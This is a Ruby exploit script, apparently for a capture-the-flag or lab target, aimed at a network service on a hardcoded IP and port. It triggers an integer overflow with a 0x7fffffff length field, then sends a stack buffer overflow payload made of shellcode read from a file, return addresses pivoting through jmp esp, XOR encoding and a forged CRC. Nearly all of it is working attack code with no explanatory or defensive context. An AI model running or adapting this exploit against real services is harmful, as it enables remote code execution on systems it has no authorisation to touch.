#!/usr/bin/env ruby h = '193.168.50.82' #h = '192.168.7.9' p = 4545 require 'socket' require 'libcrc' require 'timeout' # adjust stack (sub esp, 500) sc = "\x81\xec\x00\x05\x00\x00" + File.read('l11sc.bin') # value used in the server magicvalue = 0x4592f501 newretaddr = 0x3c003260 # w|x cssel = 0x17 farretaddr = 0x1c000595 retaddr = [farretaddr, newretaddr, cssel].pack('LLL') # the server buffer is 0x408 bytes long, but there are # 4 non controlled octs at the beginning splt = sc.ljust(0x408) # the return adresses splt << retaddr # we returned to a jmp esp, so we are here now splt << "\xe9\xe7\xfb\xff\xff " #splt = 'kikoolol' cipherkey = "\xff\xe4\x41\x41".unpack('L').first splt.length.times { |i| splt[i] ^= ((cipherkey >> (8*(i%4)))&0xff) } wantedcrc = [cipherkey].pack('L').unpack('N').first ^ magicvalue initval = (0..3).map{ |i| (magicvalue >> (8*i)) & 0xff }.inject(0xffffffff){ |i, v| CRC.iter_crc(v, i) } splt << [ CRC.solve(splt, splt.length, initval, wantedcrc) ].pack('L') cipherlen = splt.length + 4 retrycont = callcc { |foo| foo } # connect s = TCPSocket.new(h, p) # read banner begin Timeout::timeout(10) { s.readpartial(512) } rescue Object raise 'timedout' end if ARGV.include? 'wait' puts 'taper entree pour envoyer l exploit' $stdin.gets end # send buffer length (trigger int overflow) s.write [0x7fffffff].pack('N') if ARGV.include? 'testbuflen' $buflen ||= 0x80 s.write 'x'*$buflen s.readpartial 4 recvlen = s.read($buflen+4).length puts "sent %.8x, recvd %.8x" % [$buflen, recvlen] exit if recvlen != $buflen + 4 $buflen += 0x80 retrycont.call retrycont end # send exploit s.write splt # read the key returned key = s.readpartial(4) puts 'key: %.8X' % key.unpack('L') # read the ciphered buffer (exact length) cph = s.read cipherlen p cph[0..64] loop { print s.readpartial 512 } rescue nil # done s.shutdown s.close puts 'Done'